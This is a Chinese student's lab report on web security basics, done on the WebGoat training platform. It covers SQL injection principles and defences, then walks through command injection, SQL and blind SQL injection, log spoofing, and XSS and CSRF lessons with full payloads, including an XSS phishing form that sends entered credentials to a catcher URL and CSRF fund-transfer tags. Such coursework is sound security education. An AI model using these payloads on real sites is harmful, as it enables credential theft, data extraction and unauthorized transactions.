2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114
Exp9 Web安全基础
目录
- 一、实验内容
- 二、基础问题回答
- 三、实践过程记录
- 四、实验总结与体会
一、实验内容
- 本实践的目标理解常用网络攻击技术的基本原理。
- 做不少于7个题目,包括SQL,XSS,CSRF。
- Webgoat实践下相关实验。
二、基础问题回答
1. SQL注入攻击原理,如何防御
原理:
- 应用程序会将您的输入带入后台的SQL查询语句。
- Web应用对后台数据库查询语句处理存在的安全漏洞。
- 即为:在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至 造成破坏后台数据库等严重后果。
防御:
- 使用正则表达式过滤传入的参数。
- jsp中调用函数检查是否包函非法字符,做好规范的校验工作,比如搜索框不能输入非法字符、限制输入的长度等。
- 使用prepared statements语句绑定变量来执行SQL字符串。没有使用prepared statements语句绑定变量可能很容易受到攻击。
2. XSS攻击的原理,如何防御
原理:
- 攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
- 攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
防御:
- 特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
- 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
- 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
- 使用验证码:防止脚本冒充用户提交危险操作。
3. CSRF攻击原理,如何防御
原理:
- CSRF(Cross site request forgery),即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
- CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用 来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求。也可以使用javascript构造一个提交表单的post请求。比如构造一个转账的post请求。
- 所以CSRF的攻击分为了两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用 等标签或者使用Javascript脚本。
防御:
- referer。因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。
- 使用验证码。每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
- 使用token。每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。
三、实践过程记录
实验准备
1. 安装JDK
- JDK下载地址
- JDK安装和配置教程
- 在安装WebGoat前需要将JDK安装并配置好。否则进入WebGoat也无法查看到实验教程。如下图所示,未能显示正确的实验教程。
2. 安装WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
在终端输入命令运行WebGoat
java -jar webgoat-container-7.0.1-war-exec.jar
.当显示如下图的
Starting ProtocolHandler ["http-bio-8080"]
时,可进行下一步操作。使用过程中不要关闭终端。
浏览器打开
http://127.0.0.1:8080/WebGoat/login.mvc
,如下图有登录的账号和密码,用guest登录即可。
登录后即可看到如下图所示的各个实验教程。
solution
是答案,hints
是提示。
3.1 注入缺陷Injection Flaws
(1)命令注入(Command Injection)
- 原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
右键表单选择框的下拉框,选择Inspect Element(Q),然后修改源代码。
在任意一个选项其后加上代码:
"& netstat -an & ipconfig"
。选择这个修改后的选项,点击
View
可以发现在这个页面中能看到网络端口使用情况和IP地址。通过这种方式实现了攻击。
如果不攻击的话,是下图的情况。
(2)数字型SQL注入(Numeric SQL Injection)
- 原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
为了看到所有的信息,进行SQL注入,右键表单选择框的下拉框,选择
Inspect Element(Q)
,然后修改源代码。在某个选项的
value
值后面,加上代码or 1=1
,使该式子成为永真式。
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
。由于后面是永真式,这样会执行语句SELECT * FROM weather_data
,可以查询到所有的信息。
(3)日志欺骗(Log Spoofing)
- 原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
- 目标:灰色区域代表在 Web服务器的日志中的记录的内容。您的目的是使用户名为
admin
的用户在日志中显示“成功登录”。升级您的攻击,例如:在日志文件中插入脚本。
在
user name
一栏中输入DQY Login Succeeded for username: admin
,密码随意输入。提交后可以发现,灰色区域的用户名后面的信息会在同一行显示,而不是在新的一行。
还可以往该应用中注入回车
(0D%)
和换行符(%0A)
。在username
中填入20165114%0d%0aLogin Succeeded for username: admin
,这样就完成了该课程.
攻击者还可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。如果把
admin <script>alert(document.cookie)</script>
作为用户名输入,能够获得登录用户的cookie
。
(4)字符串型注入(String SQL Injection)
- 原理:应用程序会将您的输入带入后台的 SQL 查询语句,使用SQL注入绕过认证。
由于密码的长度有限制,所以我们先修改密码输入框的允许输入长度。将
maxlength
设置为20甚至更大。
可以用
admin
的身份登录,密码框里输入' or 1=1 --
,然后就能成功以Necille
的身份登录成功。可以查看任意用户的信息等等。
可以编辑用户信息、删除信息等等。注入成功。
(5)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
首先使用用户名
Larry
和密码larry
登录,浏览员工信息的按钮是ViewProfile
。
右键审查网页元素。
在员工ID:101后面加上
or 1=1 order by salary desc
进行SQL注入排序,其中desc
表示使用降序排列。
可以看到此处是用员工ID作为索引来传送数据的,感觉这里的数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个,添加降序排列的代码。
如下图,看见了老板的信息,还可以修改,攻击成功。
(6)数字型盲注入(Blind Numeric SQL Injection)
- 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
- 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。您的目标是找到 pins 表中 cc_number 字段值为 1111222233334444的记录中 pin 字段的数值。pin字段类型为int,整型。输入找到的数值并提交,通过本课程。
- 本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的 PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:
SELECT * FROM user_data WHERE userid=accountNumber;
- 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果提示帐号有效,否则无效。例如下面两个查询方式:
101 AND 1=1
101 AND 1=2
在第一条语句中,两个条件都成立,所以页面返回帐号有效。而第二条则返回帐号无效。 - 现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值是否大于10000。
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 如果页面提示帐号有效,说明
PIN>10000
否则PIN<=10000
。不断调整数值,可以缩小判断范围,并最终判断出 PIN 数值的大小。 - 最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
- 在查询框中输入
2364
并提交,通过本节课程。
(7)字符串型盲注入(Blind String SQL Injection)
- 原理:与上一个数字型盲注入基本相同,只是pin 字段类型为
varchar
。 - 目标:输入找到的数值(最终的字符串,注意拼写和大写)并提交。
本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
该语句使用了SUBSTRING方法,取得pin字段数值的第一个字母,并判断其是否比字母“H”小。SUBSTRING 语法如下:
SUBSTRING(STRING,START,LENGTH)
经过多次测试(比较0-9A-Za-z等字符串)和页面的返回数据,判断出第一个字符为“J”
。
同理继续判断第二个字符。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) <'h' );
最终,判断出pin字段的值为:
Jill
。提交该值,通过本节课程。
3.2 跨站脚本攻击Cross‐Site Scripting (XSS)
(1)使用XSS钓鱼(Phishing with XSS)
- 原理:HTML 文档的内容是可以被篡改的,如果您有权限操作页面源代码。
- 目标:创建一个 form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
- 操作方法:
- 利用 XSS 可以在已存在的页面中进一步添加元素。该解决方案包括两部分,您需要结合起来使用:
- 受害人填写一个表格;
- 以读取脚本的形式,将收集到的信息发送给攻击者。
- 一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
3 搜索这段代码,您就能看到页面中增加了一个表单。
4 现在您需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " +document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" +document.forms[0].pass.value + "";
}
</script>
5 最后,就是要将这两段代码合并。最终需要输入的代码如下:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
6 这段代码会读取您在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat。
(2)存储型XSS攻击(Stored XSS Attacks)
- 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 操作:
1 在title
中任意输入字符。在Message
中输入以下代码:<script>alert('20165114')</script>
。
2 然后下面会出现title 中输入的字符,点击该链接,这就好比您刚创建的帖子,由您或者其他人浏览,然后会弹出一个对话框,,写着20165114
,证明 XSS 攻击成功。
3 或者更为复杂的,如果用以下的代码。
<head>
<body>
<div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div>
<div style="float:left;height:100px;width:50%;background-color:orange;"></div>
</div> <div style="background-color:grey;height:200px;clear:both;"></div>
</div></div>
</form>
<script> function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish"> <br> <br> <HR>
<H2>This feature requires account login:</H2> <br>
<br>Enter Username:<br> <input type="text" name="user">
<br>Enter Password:<br> <input type="password" name = "pass"> <br>
<input type="submit" name="login" value="login" onclick="hack()">
</form> <br> <br> <HR>
</body>
</head>
4 点击链接之后,会出现黄色、橙色、灰色的div滑块,下面还会出现输入用户名和密码的表单。
5 如果受害者输入就会成功被截获用户名和密码。如下图:
(3)反射型XSS攻击(Reflected XSS Attacks)
1 在Enter your three digit access code
中输入如下代码:<script>alert('you are a loser!')</script>
。
2 点击Purchase
,成功显示警告框,内容为我们script脚本写的you are a loser!
。攻击成功。
3.3 关于CSRF的攻击
(1)跨站请求伪造(Cross Site Request Forgery (CSRF))
- 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
。
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。- 目的:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的 URL 指向一个恶意请求。尝试一个包括 1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。您可以通过左侧菜单在CSRF课程连接上右键单击,选择复制快捷方式。无论谁收到这封邮件,并恰好已经通过身份验证,他的资金将会被转走。
- 注意:不同 WebGoat 环境的URL中“Screen ”和“Menu”参数可能会有所区别。请使用当前访问 URL 中正在使用的参数。
根据当前访问 URL中的scr和menu在消息框中嵌入 HTML 代码。这段代码中包含一个图片,链接到一个网站。
<img src="http://localhost/WebGoat/attack?Screen=273&menu=2900&transferFunds=5000" width="1" height="1" />
。
提交后会发现链接,点击该链接。
点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了。
(2)绕过CSRF确认(CSRF Prompt By‐Pass)
- 可以在title框中输入学号,在message框中输入下面的代码
<iframe src="attack?Screen=277&menu=900&transferFunds=5114"> </iframe>
<iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
- 下图即为攻击成功。
四、实验总结与体会
- 此次实验整体比较顺利,但是由于自己英语水平有限,阅读英文解释等等稍微有些困难。但也在阅读他人博客等等方式完成了实验。
- 此次实验通过对多个SQL注入和XSS攻击,CSRF攻击的课程学习,我接触到了更多的不同实际情况下的各种对web的攻击,也在这个实践的过程中感受了很多现实情况下对漏洞的侵害。我们作为用户,在很多情况下,一旦在来历不明的连接中输入用户名和密码就,就会被截获密码信息等,十分危险。各种攻击方法复杂繁多,防御方法也很多,但是在一些比较薄弱的网站,就很容易被攻击成功。站在个人角度,提高防范意识十分重要,作为学习网络攻击知识的学生,深入学习原理,从根源上防御攻击,学习好知识技能十分重要。
参考资料
前端安全系列(一):如何防止XSS攻击?
CSRF 攻击原理和防御方法
总结 XSS 与 CSRF 两种跨站攻击
WebGoat+中文手册+v2.2
2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- Android笔记(六) Android中的组件
一个软件可以吸引到用户,除了优秀的功能可以解决用户的问题之外,良好的用户界面也并不可少.一个软件的功能不管多么优秀,但是没有提供友好的界面来让用户操作,将很难吸引到最终用户. Android提供了大量 ...
- LVS工作原理及集群类型
Cluster概念 Cluster:集群,为解决某个特定问题将多台计算机组合起来形成的单个系统 Linux Cluster类型: LB:Load Balancing,负载均衡 HA:High ...
- 基于beautifulSoup进行电影网站排名的获取与格式化输出
要求 编写代码完成以下任务: ① 将地址"http://www.cbooo.cn/year?year=2019"源代码使用任意方法保存到指定文件中(文件类型不限). ② 使用文件流 ...
- HTML&CSS基础-ps的基本操作
HTML&CSS基础-ps的基本操作 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 我们工作中可能会经常需要将一个图片做成一个网页,而图片中的字体大小,行间距,图中lo ...
- ERROR: Cannot uninstall 'wrapt'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.
pip install imagededup 时,报错:Cannot uninstall 'wrapt'. It is a distutils installed project and thus w ...
- 用js刷剑指offer(字符串的排列)
题目描述 题目描述 输入一个字符串,按字典序打印出该字符串中字符的所有排列.例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba. 输入 ...
- Google hacking 语法
a b c 自动对词进行拆分匹配 拆分标准 空格 "a b c " 把a b c 当成一个整体去查 " a*b" *通配符 里面是一个或者多个 以a开头 b结尾 ...
- Linux网络编程综合运用之MiniFtp实现(七)
上节中实现了配置文件的解析,这节来实现用户登录的验证,首先用客户端来登录vsftpd来演示登录的过程: 接着再连接miniftpd,来看下目前的效果: 接下来实现它,与协议相关的模块都是在ftppro ...
- P2085 最小函数值[优先队列]
题目描述 有n个函数,分别为F1,F2,...,Fn.定义Fi(x)=Ai*x^2+Bi*x+Ci (x∈N*).给定这些Ai.Bi和Ci,请求出所有函数的所有函数值中最小的m个(如有重复的要输出多个 ...
- reverse函数的实现
用递归的方法实现字符串的倒叙 #include <string.h> void reverse_my(char *a,int len) { int tmp;//中间值 if(len < ...